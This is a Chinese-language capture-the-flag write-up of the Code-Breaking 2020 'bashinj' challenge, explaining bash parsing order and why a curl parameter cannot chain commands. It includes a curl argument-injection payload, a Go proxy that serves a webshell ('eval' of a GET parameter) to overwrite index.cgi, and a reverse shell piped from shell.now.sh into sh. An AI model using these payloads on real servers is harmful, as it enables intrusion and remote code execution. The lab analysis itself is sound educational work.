Code-Breaking 2020 Bashinj

前天 P 神更新了 Code-Breaking 2020 的第一道题 bashinj ,小密圈里也有师傅放出 wp 了,趁热学习一下。

前置知识

#!/bin/bash

source ./_dep/web.cgi
echo_headers

name=${_GET["name"]}

[[ $name == "" ]] && name='Bob'

curl -v http://httpbin.org/get?name=$name

题目起源于 4 月 16 日 P 神在小密圈分享的一篇帖子,主要内容是:

原文:https://t.zsxq.com/NfauNNv

Bash 语言本身就是执行命令的媒介,但代码注入漏洞的核心原理是相同的,需要一个执行“代码”或“命令”的方法可控,而不是控制一个静态的语法结构中的参数。 上述 example 代码中的 curl,你可以理解为一个“函数”,这里的场景仅仅是函数的参数部分可控,所以不存在代码注入漏洞。

文中提到了对代码注入的一个误区,比如本题中的 curl -v http://httpbin.org/get?name=$name ,第一反应是用 &&id 的方式拼接执行自己想要的命令,其实是错误的。看完帖子似懂非懂,下面做一个实验来更好的理解。

$ export aaa="&&id"

# 测试1
$ echo "test 1"$aaa

# 测试2
$ eval echo "test 2"$aaa

实验

结果如上图。在测试 1 中,$aaa 的值是作为 echo 函数的参数进行处理的,而不是与 echo 同等地位的 bash 命令。在测试 2 中,$aaa 的值与 echo "test 2" 拼接后作为 eval 的参数,也就是 eval "echo test 2 && id" ,这才是我们所设想的命令拼接的情况。

我们来捋一下 bash 的解析过程 (参考文末相关资料):

  1. 读取输入
  2. 处理引号''""
  3. 将输入拆分为命令列表,分隔符: ;&&&||
  4. 解析特殊运算符{..}<(..)< ...<<< .... | .. 并按一定的顺序处理
  5. 解析扩展,比如把变量替换为其值
  6. 将一条命令分割为命令名称(分割出的第一个单词)和参数,分隔符:没有转义的空格、制表符、换行符
  7. 执行命令

(大概是这样子的,各种资料对 2/3/4 步顺序的说法不尽相同。别问我为什么不看官方文档,本来英语就不行,啃完辣么长的文档我可能就瞎了)

这就解释了为什么测试 1 的 $aaa=&&id 没有将其分隔成两条命令,因为在解析 && 的时候 $aaa 还没被替换为 &&id

回到题目 curl -v http://httpbin.org/get?name=$name ,我们能控制的 $name 无论赋值成什么,都只是作为 curl 的参数,而不能成为新的 bash 命令。

那么就只能看看能利用 curl 干点什么。

题解

  • 靶机:192.168.221.128:8080
  • 攻击:192.168.221.1

整体思路:控制靶机的 curl 请求我们预设的代理服务器,在代理服务器处劫持请求直接返回包含恶意代码的响应,靶机收到响应后保存到本地,再通过执行恶意代码进一步反弹 shell。

-G 构造查询字符串
--data-urlencode 将参数编码
-o 将响应保存为文件
-x 指定 HTTP 代理

首先在攻击机上用 Go 起一个监听 8888 端口的 Web 服务:

package main

import (
    "io"
    "log"
    "net/http"
)

func main() {
    http.HandleFunc("/", func (w http.ResponseWriter, req *http.Request) {
        log.Print(req)

        // 在原 index.cgi 后追加小马
        io.WriteString(w, "#!/bin/bash\nsource ./_dep/web.cgi\necho_headers\nname=${_GET[\"name\"]}\n[[ $name == \"\" ]] && name='Bob'\ncurl -v http://httpbin.org/get?name=$name\neval ${_GET['cmd']}")
    })

    err := http.ListenAndServe(":8888", nil)

    if err != nil {
        log.Fatal("ListenAndServer: ", err.Error())
    }
}

然后让靶机获取代理服务器上的修改过的 index.cgi 并保存到本地:

# 攻击机
$ curl 192.168.221.128:8080/index.cgi -G --data-urlencode "name=hhh -x 192.168.221.1:8888 -o index.cgi"

这样靶机的 curl 拼接结果为 curl -v http://httpbin.org/get?name=hhh -x 192.168.221.1:8888 -o index.cgi ,虽然是请求 httpbin.org ,但通过设置 -x 让请求首先发往我们设置的代理服务器 192.168.221.1:8888 ,我们在代理服务器处劫持请求,直接返回响应,内容是修改过的 index.cgi ,靶机收到响应后覆盖保存到 Index.cgi (只有 index.cgi 有可执行权限)。

修改过的cgi

除了 -x 设置代理服务器的方式,还可以像小密圈里的 @呆头空师傅和 @Shix 师傅用 —resolve 强制将 curl 的所有请求解析到用于攻击的服务器。两种方式目的都是为了劫持靶机的请求。

修改了 index.cgi ,就可以通过 192.168.221.128:8080/index.cgi?cmd=id 来执行命令了。

# 攻击机
$ nc -lvp 9999
$ curl 192.168.221.128:8080/index.cgi -G --data-urlencode "cmd=curl https://shell.now.sh/192.168.221.1:9999 | sh"

getshell

相关资料

最后再推一波 P 神的小密圈,“里面个个都是人才,说话又好听,我超喜欢这里的”。

知识星球